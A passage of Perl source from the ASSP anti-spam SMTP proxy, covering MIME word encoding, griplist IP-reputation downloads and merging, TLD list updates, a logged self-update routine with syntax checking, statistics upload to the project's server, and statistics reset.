    if (! $@ && $charset && $LogCharset && $text) {
        eval{
             $text = Encode::decode($charset, $text);
             $text = Encode::encode($LogCharset, $text);
             Encode::_utf8_on($text) if $LogCharset =~ /^utf-?8/io;
        };
    }
    return $text;
}



sub dedecodeMimeWords {
    my $s = shift;
    return decodeMimeWords($s) unless $LogCharset;
    headerUnwrap($s);
    $s =~ s/(=\?([^?]*)\?(b|q)\?([^?]+)\?=)/dedecodeMimeWord($1,$2,$3,$4)/gieo;
    return $s;
}

sub assp_encode_Q {
    my $str = shift;
    my $out;
    eval {$out = MIME::QuotedPrint::encode($str,'');}
      or do {mlog(0,"info: unable to encode string to quoted-printable, will try base64 - $@");};
    return $out;
}

sub assp_encode_B {
    my $str = shift;
    my $out;
    eval {$out = MIME::Base64::encode_base64($str, '');1;}
      or do {mlog(0,"warning: unable to encode string to base64 - $@");};
    return $out;
}

sub encodeMimeWord {
    my $word = shift;
    return '' unless $word;
    my $encoding = uc(shift || 'Q');
    my $charset  = uc(shift || 'UTF-8');
    use bytes;
    my $encfunc  = (($encoding eq 'Q') ? \&assp_encode_Q : \&assp_encode_B);
    my $encword = &$encfunc($word);
    if ($word && ! $encword && $encoding eq 'Q') {
        $encword = &assp_encode_B($word);
        $encoding = 'B';
    }
    return "=?$charset?$encoding?" . $encword . "?=";
}



sub downloadGripConf {
    return if $AsASecondary;
    d('downloadGripConf-start');

    my $ret;
    my $file = "$base/griplist.conf";
    $ret = downloadHTTP("http://downloads.sourceforge.net/project/assp/griplist/griplist.conf",
                 $file,
                 0,
                 "griplist.conf",5,9,2,1);
    mlog(0,"info: updated GRIPLIST upload and download URL's in $file") if $ret;
    $ret = 0;
    open my $GC , '<', $file or return 0;
    binmode $GC;
    while (<$GC>) {
        s/\r|\n//o;
        if (/^\s*(gripList(?:DownUrl|UpUrl|UpHost))\s*:\s*(.+)$/) {
            ${$1} = $2;
            $ret++;
        }
    }
    close
    mlog(0,"info: loaded GRIPLIST upload and download URL's from $file") if $ret;
    mlog(0,"info: GRIPLIST config $file is possibly incomplete") if $ret < 3;
    $gripListDownUrl =~ s/\*HOST\*/$gripListUpHost/o;
    $gripListUpUrl  =~ s/\*HOST\*/$gripListUpHost/o;
    return $ret;
}
sub downloadGrip {
    my $noskip = shift;
    return if $AsASecondary;
    d('griplistdownload-start');

    &mlog(0,"Griplist file not configured")  if (!$griplist);
    return if (!$griplist);

    my $rc;
	&downloadGripConf();  # reload the griplist.conf
    my $gripListUrl = $gripListDownUrl;
    my $gripFile    = "$base/$griplist";
    my $gripListDownUrlAdd;
	my $dltime = time;
    ## let's check if we really need to
    if (-e $gripFile && !$noskip) {
        my @s     = stat($gripFile);
        my $mtime = $s[9];
        my $random = int(rand(48-24)+24)+1; 
        if (time - $mtime < $random*60*60) {
            return;
        }
    }

    # check for previous download timestamp, so we can do delta now
    my %lastdownload;
    $lastdownload{full} = 0;
    $lastdownload{fullUTC} = 0;
    $lastdownload{delta} = 0;
    $lastdownload{deltaUTC} = 0;
    my $delta = "";
    if (open(UTC, "$gripFile.utc")) {
        local $/;
        my $buf = <UTC>;
        close(UTC);
        chop($buf);
        if ($buf =~ /full/ && $buf =~ /delta/) {
            %lastdownload = split(/\s+|\n/, $buf);
        } else {
            $lastdownload{delta} = $buf;
        }
        if (! ($DoFullGripDownload && time - $lastdownload{fullUTC} > $DoFullGripDownload*24*60*60)) {
            my $lasttime;
            $lasttime = $lastdownload{full};
            $lasttime = $lastdownload{delta} if ($lastdownload{delta} > $lastdownload{full});
            $gripListDownUrlAdd = "&delta=$lasttime";
            $delta = " (delta)";
        }
    }



    if (open(my $TEMPFILE, ">", "$gripFile.tmp")) {
        #we can create the file, this is good, now close the file and keep going.
        close $TEMPFILE;
        unlink("$gripFile.tmp");
    } else {
        &mlog(0,"Griplist download failed: Cannot create $gripFile.tmp");
        return;
    }
    
    
	my $gripListDownUrlL = $gripListDownUrl . $gripListDownUrlAdd;
    my $ret = downloadHTTP($gripListDownUrlL,
        "$gripFile.tmp",
        \$NextGriplistDownload,
        "Griplist$delta",5,9,2,1);

    # download complete
    my $filesize = -s "$gripFile.tmp";
    &mlog(0,"Griplist download complete: binary download $filesize bytes");

    # enough data?
    if ($filesize < 12) {
        &mlog(0,"Griplist download error: grip data too small");
        unlink("$gripFile.tmp");
        return;
    }

    # record download time so we can do delta next time
    unlink("$gripFile.utc");
    if (open(my $UTC, ">$gripFile.utc")) {
        my ($sec, $min, $hour, $day, $mon, $year, $wday, $yday, $isdst) = gmtime($dltime);
        $year += 1900;
        $mon += 1;
        if (! $delta) {
            $lastdownload{full} = sprintf "%04d%02d%02d%02d%02d%02d", $year, $mon, $day, $hour, $min, $sec;
            $lastdownload{fullUTC} = $dltime;
        } else {
            $lastdownload{delta} = sprintf "%04d%02d%02d%02d%02d%02d", $year, $mon, $day, $hour, $min, $sec;
            $lastdownload{deltaUTC} = $dltime;
        }
        printf $UTC "full\t%s\n", $lastdownload{full};
        printf $UTC "fullUTC\t%s\n", $lastdownload{fullUTC};
        printf $UTC "delta\t%s\n", $lastdownload{delta};
        printf $UTC "deltaUTC\t%s\n", $lastdownload{deltaUTC};
        close($UTC);
    }

    # if we did a delta download, read in previous data so we can merge
    my @binFiles;
    push(@binFiles, "$gripFile.bin") if ($gripListUrl =~ /delta=/);
    push(@binFiles, "$gripFile.tmp");

    # convert binary download form to text form used by ASSP
    my $buf;
    my %grip;
    my $action = "read";
    foreach my $binF (@binFiles) {
        my $binSize = -s $binF;
        open(my $BIN, $binF);   
        binmode($BIN);
        read($BIN, $buf, $binSize);
        close($BIN);

    # IPv6 count
    	my ($n6h, $n6l) = unpack("N2", $buf);
    	my $n6 = $n6h * 2**32 + $n6l;

    # IPv4 count
    	my $n4;
    	eval { $n4 = unpack("x[N2] N", $buf); };


    # decode IPv6 data
    	my $x6 = 0;
    	eval {
    	for (my $i = 0; $i < $n6; $i++) {
        my ($bip, $grey) = unpack("x[N2] x[N] x$x6 a8 C", $buf);
        my $ip = join(":", unpack("H4H4H4H4", $bip)) . ":";
        $ip =~ s/:0+([0-9a-f])/:$1/gio;
        $ip =~ s/:0:$/::/o;

        #                $grip{$ip} = $grey / 255;
        #                $gripdelta{$ip} = $grey / 255 if $deltayonly;
        $x6 += 9;
    	}
    	};

    # decode IPv4 data
    	my $x4 = 0;
    	for (my $i = 0; $i < $n4; $i++) {
        my ($bip, $grey) = unpack("x[N2] x[N] x$x6 x$x4 a3 C", $buf);
        my $ip = join(".", unpack("C3", $bip));
        $grip{$ip} = $grey / 255;

        $x4 += 4;
    }
        &mlog(0,"Griplist binary $action OK: $binF, $n6 IPv6 addresses, $n4 IPv4 addresses");
        $action = "merge";
    }

    # remove download file
    unlink("$gripFile.tmp");

    # output binary version, so we can do a delta next time
    &mlog(0,"Writing merged Griplist binary...");
    my $buf;
    my $n6 = 0;
    my $n4 = 0;
    my ($buf6, $buf4);
    foreach my $ip (keys %grip) {
        if ($ip =~ /:/) {
            my $ip2 = $ip;
            $ip2 =~ s/([0-9a-f]*):/0000$1:/gi;
            $ip2 =~ s/0*([0-9a-f]{4}):/$1:/gi;
            $buf6 .= pack("H4H4H4H4", split(/:/, $ip2));
            $buf6 .= pack("C", int($grip{$ip} * 255));
            $n6++;
        } else {
            $buf4 .= pack("C3C", split(/\./, $ip), int($grip{$ip} * 255));
            $n4++;
        }
    }
    $buf = pack("N2", $n6/2**32, $n6);
    $buf .= pack("N", $n4);
    $buf .= $buf6 . $buf4;
    unlink("$gripFile.bin");
    open (my $BIN, ">$gripFile.bin");
    binmode($BIN);
    print $BIN $buf;
    close($BIN);
    chmod 0644, "$gripFile.bin";


    # output text version
    &mlog(0,"Writing merged Griplist text...");
    unlink("$gripFile");
    open (my $TEXT, ">$gripFile");
    binmode($TEXT);
    print $TEXT "\n";
    foreach my $ip (sort keys %grip) {

        printf $TEXT "$ip\002%.2f\n", $grip{$ip};
    }
    close($TEXT);
    chmod 0644, "$gripFile";

    &mlog(0,"Griplist writing complete: $n6 IPv6 addresses, $n4 IPv4 addresses");
}



sub BayesianStarterDownload {
    d('BayesianStarterDownload-start');
	my $file = "$base/starterdb/spamdb.zip";
	mlog(0,"info: starting download $file");

    	my $ret = downloadHTTP("http://sourceforge.net/projects/assp/files/ASSP%20Installation/Spam%20Collection/spamdb.zip",
                 "$file",
                 \$NextDroplistDownload,
                 "spamdb.zip",5,9,2,1);
    	return 0 unless $ret;
    	unlink ("$base/starterdb/spamdbb");
        if (unzip("$base/starterdb/spamdb.zip", "$base/starterdb/spamdb")) {
        	mlog(0,"info:  current starterdb '$base/starterdb/spamdb' available ") if $MaintenanceLog;
    	} else {
        	mlog(0,"warning:  unable to unzip '$base/starterdb/spamdb.zip' to '$base/starterdb/spamdb'");
        return 0;
    	}
    

    return $ret;
}
sub downloadTLDList {
    d('TLDlistdownload-start');
    my $ret;
    my $ret2;
    my $ret3;
    my $n1;
    my $n2;
    my $n3;
    $NextTLDlistDownload = time + 720000;

    my ($file) = $TLDS =~ /^ *file: *(.+)/io;
    $ret = downloadHTTP(
                 $tlds_alpha_URL,
                 "$base/$file",
                 \$n1,
                 "TLDlist",24,48,2,1) if $file;

    ($file) = $URIBLCCTLDS =~ /^ *file: *(.+)/io;
    $ret2 = downloadHTTP(
                 $tlds2_URL,
                 "$base/files/URIBLCCTLDS-L2.txt",
                 \$n2,
                 "level-2-TLDlist",24,48,2,1) if $file;
    $ret3 = downloadHTTP(
                 $tlds3_URL,
                 "$base/files/URIBLCCTLDS-L3.txt",
                 \$n3,
                 "level-3-TLDlist",24,48,2,1) if $file;

    if (! $file) {
        if ($n1) {
            $NextTLDlistDownload = $n1;
            return $ret;
        }
    }
    
    $NextTLDlistDownload  =  ($n1 && $n1 < $n2) ? $n1 : ($n2 > 0) ? $n2 : $NextTLDlistDownload;
    $NextTLDlistDownload  =  $n3 if $n3 &&  $NextTLDlistDownload > $n3;

    if ($file &&
        -s "$base/files/URIBLCCTLDS-L2.txt" > 0 &&
        -s "$base/files/URIBLCCTLDS-L3.txt" > 0 &&
        ($ret2 || $ret3 || ! -e "$base/$file" || -s "$base/$file" == 0))
    {
        if (((open my $f1 ,'<' ,"$base/files/URIBLCCTLDS-L2.txt") || mlog(0,"error: unable to open $base/files/URIBLCCTLDS-L2.txt")&0) &&
            ((open my $f2 ,'<' ,"$base/files/URIBLCCTLDS-L3.txt") || mlog(0,"error: unable to open $base/files/URIBLCCTLDS-L3.txt")&0) &&
            ((open my $f3 ,'>' ,"$base/$file") || mlog(0,"error: unable to open $base/$file")&0))
        {
            binmode $f3;
            print $f3 "# two level TLDs\n\n";
            while (<$f1>) {
                s/\r?\n//o;
                next unless $_;
                print $f3 "$_\n";
            }
            mlog(0,"info: merged file $base/files/URIBLCCTLDS-L2.txt in to $base/$file for URIBLCCTLDS") if $MaintenanceLog >= 2;
            print $f3 "\n\n";
            print $f3 "# three level TLDs\n\n";
            while (<$f2>) {
                s/\r?\n//o;
                next unless $_;
                print $f3 "$_\n";
            }
            mlog(0,"info: merged file $base/files/URIBLCCTLDS-L3.txt in to $base/$file for URIBLCCTLDS") if $MaintenanceLog >= 2;
            close $f3;
            close $f2;
            close $f1;
            mlog(0,"info: file $base/$file updated for URIBLCCTLDS") if $MaintenanceLog;
            $ret2 = 1;
        } else {
            mlog(0,"error: unable to read or write one of the URIBLCCTLDS files - $!");
        }
    }

    $ConfigChanged = 1 if $ret || $ret2 || $ret3;         # tell all to reload Config
    return $ret || $ret2 || $ret3;
}


sub UpdateDownloadURLs {
    if (open my $UVS , "$base/version.txt") {
        while (<$UVS>) {
            s/\n|\r//g;
            s/^\s+//;
            s/\s+$//;
            next if /^\s*[#;]/o;
            if (/^\s*versionURL\s*:\s*(http(?:s)?:\/\/.+)$/i) {
                my $old = $versionURL;
                $versionURL = $1;
                mlog(0,"autoupdate: version.txt file download URL changed from $old to $versionURL") if $versionURL ne $old;
                next;
            } 
            if (/^\s*NewAsspURL\s*:\s*(http(?:s)?:\/\/.+)$/io) {
                my $old = $NewAsspURL;
                $NewAsspURL = $1;
                mlog(0,"autoupdate: ASSP file download URL changed from $old to $NewAsspURL") if $NewAsspURL ne $old;
                next;
            }
            if (/^\s*ChangeLogURL\s*:\s*(http(?:s)?:\/\/.+)$/io) {
                my $old = $ChangeLogURL;
                $ChangeLogURL = $1;
                mlog(0,"autoupdate: ASSP changelog download URL changed from $old to $ChangeLogURL") if $ChangeLogURL ne $old;
                next;
            }
            if (/^\s*(\w+)\s*:\s*(.+)$/io) {
                my ($var,$val) = ($1,$2);
                next unless defined ${$var};
                $val =~ s/\s+$//o;
                my $old = ${$var};
                ${$var} = $val;
                if (exists $Config{$var}) {
                    $Config{$var} = $val;
                    $ConfigChanged = 1;
                    mlog(0,"autoupdate: version file changed $var from $old to $val") if $val ne $old;
                }
                next;
            }
        }
        close $UVS;
    }
}

sub downloadVersionFile {
    d('downloadVersionFile-start');
   	my $force;
    $force = 1 if ($NextASSPFileDownload == -1 or $NextVersionFileDownload == -1);
    &UpdateDownloadURLs();
	if ($AutoUpdateASSPDev) {
    $NewAsspURL = $NewAsspURLDev;
    $NewRebuildURL = $NewRebuildURLDev;
    $versionURL = $versionURLDev;
    $ChangeLogURL =  $ChangeLogURLDev;
    } else {
    $NewAsspURL = $NewAsspURLStable;
    $NewRebuildURL = $NewRebuildURLStable;
    $versionURL = $versionURLStable;
    $ChangeLogURL =  $ChangeLogURLStable;
    } 
    return 0 unless $versionURL;
    my $ret;
    my $file = "$base/version.txt";
    $ret = downloadHTTP("$versionURL",
                 $file,
                 \$NextVersionFileDownload,
                 "assp version check",16,12,4,4) if $file;
                 
    if ( !-e "$base/docs/changelog.txt" or $ret) {
        &UpdateDownloadURLs();
        downloadHTTP("$ChangeLogURL",
                     "$base/docs/changelog.txt",
                     0,
                     "assp change log",16,12,4,4);
    }
    
    if (open my $VS , "<$file") {
        while (<$VS>) {
            s/\n|\r//g;
            s/^\s+//;
            s/\s+$//;
            next if /^#|;/;
            s/#.*//;
            s/;.*//;
            if (/^\s*(\d+\.\d+\.\d+.+)$/) {
                $availversion = $1;
                my $avv = "$availversion";
                my $stv = "$version$modversion";
   
                $avv =~ s/RC/\./gi;
                $stv =~ s/RC/\./gi;
                $avv =~ s/\s|\(|\)//gi;
                $stv =~ s/\s|\(|\)//gi;
                
                $avv =~ s/\.//gi;
                
                $stv =~ s/\.//gi;

                if ($avv gt $stv) {
					mlog(0,"autoupdate: new assp version $availversion is available for download at $NewAsspURL");
                    $ret = 1;
                } else {
                    $ret = 0;
                }
            } elsif (/^\s*versionURL\s*:\s*(http(?:s)?:\/\/.+)$/i) {
                $versionURL = $1;
            } elsif (/^\s*NewAsspURL\s*:\s*(http(?:s)?:\/\/.+)$/i) {
                $NewAsspURL = $1;
            } elsif (/^\s*NewRebuildURL\s*:\s*(http(?:s)?:\/\/.+)$/i) {
                $NewRebuildURL = $1;
            }
        }
        close $VS;
    } else {
        $ret = 0;
    }
    return $ret || $force;
}
sub codeChangeCheck {
    d('codeChangeCheck');
    my ( $sec, $min, $hour, $mday, $mon, $year ) = localtime(time);
    if ((lc $AutoRestartAfterCodeChange eq 'immed' ||
        ( $AutoRestartAfterCodeChange && $codeChanged && $hour == $AutoRestartAfterCodeChange)) &&
        ($AsAService || $AsADaemon || $AutoRestartCmd || $ForceRestartAfterCodeChange) &&
        $NextCodeChangeCheck < time) {
        $assp = $0;
        $assp =~ s/\\/\//go;
        $assp = $base.'/'.$assp if ($assp !~ /\//);
    }
    if ((lc $AutoRestartAfterCodeChange eq 'immed' ||
        ( $AutoRestartAfterCodeChange && $codeChanged && $hour == $AutoRestartAfterCodeChange)) &&
        ($AsAService || $AsADaemon || $AutoRestartCmd || $ForceRestartAfterCodeChange) &&
        $NextCodeChangeCheck < time &&
        -e "$assp" &&
        fileUpdated($assp,'asspCode')
       )
    {
        my @s     = stat($assp);
        my $mtime = $s[9];
        $FileUpdate{"$assp".'asspCode'} = $mtime;
        mlog(0,"autoupdate: info:  new '$assp' script detected - performing syntax check on new script");
        my $cmd;
        if ($^O eq "MSWin32") {
            $cmd = '"' . $^X . '"' . " -c \"$assp\" 2>&1";
        } else {
            $cmd = '\'' . $^X . '\'' . " -c \'$assp\' 2>&1";
        }
        my $res = qx($cmd);
        if ($res =~ /syntax\s+OK/ig) {
            mlog(0,"autoupdate: info:  new '$assp' script detected - syntax check returned OK - initialize automatic restart for ASSP in 15 seconds");
            $doShutdown = time + 15;
        } else {
            mlog(0,"autoupdate: error:  new '$assp' script detected - syntax error in new script - skipping automatic restart - syntax error is: $res");
        }
        $NextCodeChangeCheck = time + 60;
        $codeChanged = '';
#        $wasrun = 1;
    } else {
        $NextCodeChangeCheck = time + 60 if $NextCodeChangeCheck < time;
    }
    
}    
sub downloadASSPVersion {
    d('downloadASSPVersion-start');

    return 0 unless $AutoUpdateASSP;
    &UpdateDownloadURLs();
	if ($AutoUpdateASSPDev) {
    $NewAsspURL = $NewAsspURLDev;
    $NewRebuildURL = $NewRebuildURLDev;
    $versionURL = $versionURLDev;
    $ChangeLogURL =  $ChangeLogURLDev;
    } else {
    $NewAsspURL = $NewAsspURLStable;
    $NewRebuildURL = $NewRebuildURLStable;
    $versionURL = $versionURLStable;
    $ChangeLogURL =  $ChangeLogURLStable;
    }   
    return 0 unless $NewAsspURL;
    return 0 unless $versionURL;
	
    my $assp = $PROGRAM_NAME;
    $assp =~ s/\\/\//g;
    $assp =~ s/\/\//\//g;
    $assp = $base.'/'.$PROGRAM_NAME if ($assp !~ /\Q$base\E/i);
    if (-e "$base/download/assp.pl" && ! -w "$base/download/assp.pl") {
        mlog(0,"autoupdate: warning:  unable to write to $base/download/assp.pl - skip update - please check the file permission");
        $NextASSPFileDownload = time + 3600;
        return 0;
    }
    if (-e "$base/download/assp.pl.gz" && ! -w "$base/download/assp.pl.gz") {
        mlog(0,"autoupdate: warning:  unable to write to $base/download/assp.pl.gz - skip update - please check the file permission");
        $NextASSPFileDownload = time + 3600;
        return 0;
    }
    if (! -w "$assp") {
        mlog(0,"autoupdate: warning:  unable to write to $assp - skip update - please check the file permission");
        $NextASSPFileDownload = time + 3600;
        return 0;
    }
    -d "$base/download" or mkdir "$base/download", 0777;
    if (! -e "$base/download/assp.pl" && ! copy("$assp","$base/download/assp.pl")) {
        mlog(0,"autoupdate: warning:  unable to copy current script '$assp' to '$base/download/assp.pl' - skip update - $!");
        $NextASSPFileDownload = time + 3600;
        return 0;
    }
    unless (&downloadVersionFile()){
        $NextASSPFileDownload = $NextVersionFileDownload;
        return 0;
    }
    my $ret;
    $NextASSPFileDownload = 0;
    mlog(0,"autoupdate: info:  performing assp.pl.gz download to $base/download/assp.pl.gz") if $MaintenanceLog;
    $ret = downloadHTTP("$NewAsspURL",
                 "$base/download/assp.pl.gz",
                 \$NextASSPFileDownload,
                 "assp.pl.gz",16,12,4,4);
    return 0 unless $ret;
    mlog(0,"autoupdate: info:  new assp.pl.gz downloaded to $base/download/assp.pl.gz") if $MaintenanceLog;
    if (unzipgz("$base/download/assp.pl.gz", "$base/download/assp.pl")) {
        mlog(0,"autoupdate: info:  new assp version '$base/download/assp.pl' available - version $availversion") if $MaintenanceLog;
    } else {
        mlog(0,"autoupdate: warning:  unable to unzip '$base/download/assp.pl.gz' to '$base/download/assp.pl' - skip update");
        return 0;
    }
    #   rebuildspamdb.pl
	&downloadRebuild();
	
    
    mlog(0,"autoupdate: info:  saving current script '$assp' to 'assp_$version$modversion.pl'") if $MaintenanceLog;
    if (! copy("$assp","$base/download/assp_$version$modversion.pl")) {
        mlog(0,"autoupdate: warning:  unable to save current script '$assp' to '$base/download/assp_$version$modversion.pl' - skip update - $!");
        return 0;
    }
    my $cmd;
    if ($^O eq "MSWin32") {
        $cmd = '"' . $^X . '"' . " -c \"$base/download/assp.pl\" \"$base\" 2>&1";
    } else {
        $cmd = '\'' . $^X . '\'' . " -c \'$base/download/assp.pl\' \'$base\' 2>&1";
    }
    my $res = qx($cmd);
    if ($res =~ /syntax\s+OK/ig) {
        mlog(0,"autoupdate: info:  syntax check for '$base/download/assp.pl' returned OK");
    } else {
        mlog(0,"autoupdate: warning:  syntax error in '$base/download/assp.pl' - skip assp.pl update - syntax error is: $res");
        return 0;
    }
    if ($res =~ /assp\s+(.+)?is starting/i) {
        my $v = $1;
        $v =~ s/RC/\./gi;
        $v =~ s/\s|\(|\)//gi;
        $v =~ s/\.//gi;
        my $stv = "$version$modversion";
        $stv =~ s/RC/\./gi;
        $stv =~ s/\s|\(|\)//gi;               
        $stv =~ s/\.//gi;
        if ($stv ge $v) {
            mlog(0,"autoupdate: warning:  version of downloaded '$base/download/assp.pl' ($v) is less or equal to the running version of assp ($stv) - skip assp.pl update");
            return 0;
        }
    }
    return 0 if $AutoUpdateASSP == 1;
    if (copy("$base/download/assp.pl", "$assp")) {
        mlog(0,"autoupdate: info:  new version assp installed - '$assp' - version $availversion");
    } else {
        mlog(0,"autoupdate: warning:  unable to replace current script '$assp' - skip update - $!");
        return 0;
    }

	
    return 1 if (lc $AutoRestartAfterCodeChange eq 'immed' &&
        ($AsAService || $AsADaemon || $AutoRestartCmd || $ForceRestartAfterCodeChange));
    $codeChanged = 1 if $AutoRestartAfterCodeChange;
    return 1;
}

#   rebuildspamdb.pl
sub downloadRebuild {
	return 0 if !$AutoUpdateREBUILD;

    mlog(0,"autoupdate: info:  performing rebuildspamdb.pl.gz download from $NewRebuildURL to $base/download/rebuildspamdb.pl.gz ") if $MaintenanceLog;
    my $ret = downloadHTTP("$NewRebuildURL",
                 "$base/download/rebuildspamdb.pl.gz",
                 \$NextASSPFileDownload,
                 "rebuildspamdb.pl.gz",16,12,4,4);
    return 0 unless $ret;
    mlog(0,"autoupdate: info:  new rebuildspamdb.pl.gz downloaded to $base/download/rebuildspamdb.pl.gz") if $MaintenanceLog;
    if (unzipgz("$base/download/rebuildspamdb.pl.gz", "$base/download/rebuildspamdb.pl")) {
        mlog(0,"autoupdate: info:  current rebuildspamdb version '$base/download/rebuildspamdb.pl' available ") if $MaintenanceLog;
    } else {
        mlog(0,"autoupdate: warning:  unable to unzip '$base/download/rebuildspamdb.pl.gz' to '$base/download/assp.pl' - skip update");
        return 0;
    }
    return 0 if $AutoUpdateREBUILD == 1;
    mlog(0,"autoupdate: info:  saving current script 'rebuildspamdb.pl' to 'rebuildspamdb_old'") if $MaintenanceLog;
    if (! copy("$base/rebuildspamdb.pl","$base/download/rebuildspamdb_old.pl")) {
        mlog(0,"autoupdate: warning:  unable to save current script 'rebuildspamdb.pl' to '$base/download/rebuildspamdb_old.pl' - skip update - $!");
        return 0;
    }
    my $cmd;
    if ($^O eq "MSWin32") {
        $cmd = '"' . $^X . '"' . " -c \"$base/download/rebuildspamdb.pl\" \"$base\" 2>&1";
    } else {
        $cmd = '\'' . $^X . '\'' . " -c \'$base/download/rebuildspamdb.pl\' \'$base\' 2>&1";
    }
    my $res = qx($cmd);
    if ($res =~ /syntax\s+OK/ig) {
        mlog(0,"autoupdate: info:  syntax check for '$base/download/rebuildspamdb.pl' returned OK");
    } else {
        mlog(0,"autoupdate: warning:  syntax error in '$base/download/rebuildspamdb.pl' - skip rebuildspamdb.pl update - syntax error is: $res");
        return 0;
    }
    my $v;
	if ($res =~ /RebuildSpamDB\s+(.+)?is starting/i) {
        $v = $1;
	mlog(0,"autoupdate: info:  rebuildspamdb version: $v ") if $v;
    }
    if (copy("$base/download/rebuildspamdb.pl", "rebuildspamdb.pl")) {
        mlog(0,"autoupdate: info:  rebuildspamdb replaced - 'rebuildspamdb.pl'");
    } else {
        mlog(0,"autoupdate: warning:  unable to replace current script 'rebuildspamdb.pl' - skip update - $!");
        return 0;
    }
} 


sub uploadStats {

    my ( $peeraddress, $connect );
    if ($proxyserver) {
        mlog( 0, "uploading stats via proxy:$proxyserver" ) if $MaintenanceLog;
        $peeraddress = $proxyserver;
        $connect =
          "POST http://assp.sourceforge.net/cgi-bin/assp_stats HTTP/1.0";
    } else {
        mlog( 0, "uploading stats via direct connection" ) if $MaintenanceLog;
        $peeraddress = "assp.sourceforge.net:80";
        $connect     = "POST /cgi-bin/assp_stats HTTP/1.1
Host: assp.sourceforge.net";
    }
    my $s;
    if ($CanUseIOSocketINET6) {
	$s = new IO::Socket::INET6(
	    Proto    => 'tcp',
	    PeerAddr => $peeraddress,
	    Timeout  => 2
	);
    } else {
	$s = new IO::Socket::INET(
	    Proto    => 'tcp',
	    PeerAddr => $peeraddress,
	    Timeout  => 2
	);
    }
    if ($s) {
        my %UploadStats = ();
        my %tots = statsTotals();
        my $buf;

	# spam filtering counters
	foreach (keys %Stats) {$UploadStats{$_} = $Stats{$_};}
	
	# stats upload version
        $UploadStats{upproto_version}      = 2;

	# ASSP version
        $UploadStats{version}              = $Stats{version};

        # message totals
        $UploadStats{upproto_version}      = 2;
        $UploadStats{timenow}              = time;
        $UploadStats{connects}             = $tots{smtpConnTotal};
        $UploadStats{messages}             = $tots{msgTotal};
        $UploadStats{spams}                = $tots{msgRejectedTotal} - $Stats{bspams};
        delete $UploadStats{nextUpload};

       

        my $content = join( "\001", %UploadStats );
        my $len = length($content);
        $connect .= "
Content-Type: application/x-www-form-urlencoded
Content-Length: $len

$content";
        print $s $connect;
        $s->sysread($buf, 4096);
        $s->close;
    } else {
        mlog( 0, "unable to connect to stats server" );
    }
    $Stats{nextUpload} = time + 3600 * 12;
}

sub ResetStats {
    $Stats{nextUpload}                = time + 3600 * 12;
    $Stats{cpuTime}                   = 0;
    $Stats{cpuBusyTime}               = 0;
    $Stats{sbblocked}                 = 0;
    $Stats{smtpConn}                  = 0;
    $Stats{smtpConnNotLogged}         = 0;
    $Stats{smtpConnLimit}             = 0;
    $Stats{smtpConnLimitIP}           = 0;
    $Stats{smtpConnDomainIP}          = 0;
    $Stats{sameSubject}         = 0;
    $Stats{smtpConnLimitFreq}         = 0;
    $Stats{smtpConnDenied}            = 0;
    $Stats{smtpConnIdleTimeout}       = 0;
    $Stats{smtpConnSSLIdleTimeout}	  = 0;
 	$Stats{smtpConnTLSIdleTimeout}	  = 0;
    $Stats{smtpConcurrentSessions}    = 0;
    $Stats{smtpMaxConcurrentSessions} = 0;
    $Stats{admConn}                   = 0;
    $Stats{admConnDenied}             = 0;
    $Stats{statConn}                  = 0;
    $Stats{statConnDenied}            = 0;
    $Stats{rcptValidated}             = 0;
    $Stats{rcptUnchecked}             = 0;
    $Stats{rcptSpamLover}             = 0;
    $Stats{rcptWhitelisted}           = 0;
    $Stats{rcptNotWhitelisted}        = 0;
    $Stats{rcptUnprocessed}           = 0;
    $Stats{rcptReportSpam}            = 0;
    $Stats{rcptReportHam}             = 0;
    $Stats{rcptReportWhitelistAdd}    = 0;
    $Stats{rcptReportWhitelistRemove} = 0;
    $Stats{rcptReportRedlistAdd}      = 0;
    $Stats{rcptReportRedlistRemove}   = 0;
    $Stats{rcptReportAnalyze}         = 0;
    $Stats{rcptReportHelp}            = 0;
    $Stats{rcptNonexistent}           = 0;
    $Stats{rcptDelayed}               = 0;
    $Stats{rcptDelayedLate}           = 0;
    $Stats{rcptDelayedExpired}        = 0;
    $Stats{rcptEmbargoed}             = 0;
    $Stats{rcptSpamBucket}            = 0;
    $Stats{rcptRelayRejected}         = 0;
    $Stats{senderInvalidLocals}       = 0;
    $Stats{pbdenied}                  = 0;
    $Stats{pbextreme}                 = 0;
    $Stats{delayConnection}			  = 0;
    $Stats{denyConnection}            = 0;
    $Stats{denyConnectionA}           = 0;
    $Stats{msgscoring}                = 0;
    $Stats{msgMaxErrors}              = 0;
    $Stats{msgMaxFreq}                = 0;
    $Stats{msgDelayed}                = 0;
    $Stats{msgNoRcpt}                 = 0;
    $Stats{msgNoSRSBounce}            = 0;
    $Stats{bhams}                     = 0;
    $Stats{whites}                    = 0;
    $Stats{locals}                    = 0;
    $Stats{localFrequency}			  = 0;
    $Stats{noprocessing}              = 0;
    $Stats{spamlover}                 = 0;
    $Stats{bspams}                    = 0;
    $Stats{blacklisted}               = 0;
    $Stats{invalidHelo}               = 0;
    $Stats{forgedHelo}                = 0;
    $Stats{mxaMissing}                = 0;
    $Stats{ptrMissing}                = 0;
    $Stats{ptrInvalid}                = 0;
    $Stats{helolisted}                = 0;
    $Stats{spambucket}                = 0;
    $Stats{penaltytrap}               = 0;
    $Stats{internaladdress}           = 0;
    $Stats{viri}                      = 0;
    $Stats{viridetected}              = 0;
    $Stats{bombs}                     = 0;
    $Stats{bombBlack}				  = 0;

    $Stats{msgverify}                 = 0;
    $Stats{scripts}                   = 0;
    $Stats{internaladdresses}         = 0;
    $Stats{spffails}                  = 0;
    $Stats{rblfails}                  = 0;
    $Stats{uriblfails}                = 0;
    $Stats{msgMaxVRFYErrors}		  = 0;
    $Stats{msgMSGIDtrErrors}		  = 0;
    $Stats{msgBackscatterErrors}      = 0;
    $Stats{AUTHErrors}				  = 0;
    $Stats{msgMSGIDtrErrors}          = 0;
    $Stats{preHeader}				  = 0;


    open( $FH, "<$base/asspstats.sav" );
    (%OldStats) = split( /\001/, <$FH> );
    close $FH;

    # conversion from previous versions
    if ( exists $OldStats{messages} ) {
        $OldStats{smtpConn}        = $OldStats{connects};
        $OldStats{smtpConnLimit}   = $OldStats{maxSMTP};
        $OldStats{smtpConnLimitIP} = $OldStats{maxSMTPip};
        $OldStats{viri} -= $OldStats{viridetected};    # fix double counting
        $OldStats{rcptRelayRejected} = $OldStats{norelays};

        # remove unused entries
        delete $OldStats{connects};
        delete $OldStats{maxSMTP};
        delete $OldStats{maxSMTPip};
        delete $OldStats{messages};
        delete $OldStats{spams};
        delete $OldStats{hams};
        delete $OldStats{norelays};
        delete $OldStats{testmode};
        SaveStats();
    }
}

